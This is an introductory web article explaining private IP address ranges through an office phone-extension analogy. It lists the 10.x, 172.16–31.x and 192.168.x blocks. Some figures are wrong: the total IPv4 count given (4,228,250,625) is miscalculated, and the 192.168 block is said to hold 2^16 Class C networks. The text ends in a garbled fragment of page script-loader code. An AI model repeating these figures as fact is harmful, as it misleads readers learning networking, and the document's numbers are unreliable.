Private IP numbers are the source of much confusion for many new networking users. Many home “powerusers” with more than one computer, small offices, and just about any user of a broadband IP connection to the internet like DSL or Cable Modem has probably come face to face with this issue. The whole use of IP numbers is generally hidden from your typical Internet user who uses a modem and PPP software to connect to the internet – they are transparently and dynamically assigned an IP number while they are dialed in by their ISP, and don’t really have to think about it. That is until the user starts to get curious about running a webserver on a machine in their house, or moving up to faster “always on” connections like ISDN, DSL, Cable Modem, or other methods.
Think about what happens when a small city runs out of phone numbers, but can’t split up an area code. Things could get difficult and providing additional phone service as the city expands would be a nightmare. One method of preventing an area from going totally overboard on providing separate phone numbers is to have one or a handfull of numbers used in a shared manner amongst many phone users, like any large office would do. A large company with 250 workers in an office building each with a phone at their desk wouldn’t want to pay the phone company for 250 discreet and separate lines for each desk, nor would the phone company want to give all those numbers to them if they were trying to conserve numbers. Therefore, offices use internal equipment to “share” a smaller number of lines amongst their users, like mabye 20 or so used in rotary. By doing so, each desk can have an inter-office extension number, which is bridged to an outside phone company line when the user picks one up to dial out and one is free at that moment. In this case, any number of offices in the city might have an “extension 123” within their office, but each “extension 123” in these offices would never conflict with each other because they are “behind” the company’s phone equipment which serves up the company’s outside lines to those extensions when needed. The internal office extensions can communicate with each other perfectly fine, but must be connected to an outside line to connect to an extension at the company across the street. 213-555-1200 thru 1210 would be BigCompany, Inc.’s “public” phone lines, and extensions 1 thru 250 would be BigCompany, Inc.’s, “private” phone lines.
IP protocol networks use a system very similar to the above to prevent the world from running out of IP addresses. Even though 0-255.0-255.0-255.0-255 is technically 4,228,250,625 numbers, the useable amount of numbers is much lower due certain types of numbers set aside for special signalling and identification uses and not for typical “device” identification and traffic. Also consider that just about EVERY device that will handle IP traffic must have a unique number, and there are probably just as many routing and switching and serving devices on “the net” as there are actual computers. Add all that up and one can see how the current IP number structure really doesn’t go all that far, and there is a need for computers and devices in certain groups to be able to use “private extensions” that work behind a group’s “public numbers”, just like the large company offices example above.
The organizations that agree on the technical standards behind the IP protocol have issued a standard for “Private IP number blocks”, or numbers that can be used within an enterprise as long as the enterprise has the technical capability to separate those private IP numbers from the rest of the Internet at large, and properly gateway the traffic between the internal stations at the enterprise in question and the public Internet. For Example, when a large company with 200 computers in the office needs to implement IP networking and connectivity both between the computers in the office *AND* supply inbound and outbound connectivity to the Internet from within their office network, that company would avail themselves of a block of IP numbers within the “private” numbers set aside for just that purpose. There is most certainly many other computers somewhere in the world using your IP number if your IP number is one of these private numbers, but both yours and the other private IP numbers in the world are safely operated behind other IP routing equipment which handles all the internal network’s traffic out to and in from the public Internet, just like all the “extension 105” numbers in offices thruought the world are safely operated behind telephone equipment that bridges those extensions in and outbound thru a given office’s public telephone system number.
The private IP addresses that you assign for a private network (inter-office LAN, Internet Service Provider customer bases, campus networks, etc) should fall within the following three blocks of the IP address space:
10.0.0.1 to 10.255.255.255, which provides a single Class A network of addresses, which would use subnet mask 255.0.0.0.
(theoretically up to 16,777,215 addresses, good for VERY large enterprises like internet service providers or other global deployment)
172.16.0.1 to 172.31.255.254, which provides 16 contiguous Class B network addresses, which would use subnet mask 255.255.0.0.
(theoretically up to 1,048,576 addresses, good for large enterprises like colleges and governmental organizations)
192.168.0.1 to 192.168.255.254, which provides up to 2^16 Class C network addresses, which would use subnet mask 255.255.255.0.
(theoretically up to 65,536 addresses, widely used by default in consumer/retail networking equipment)
Explanation of Subnet masks, Network classes, and other technical info is readily available on the internet.d.getElementsByTagName(‘head’).appendChild(s);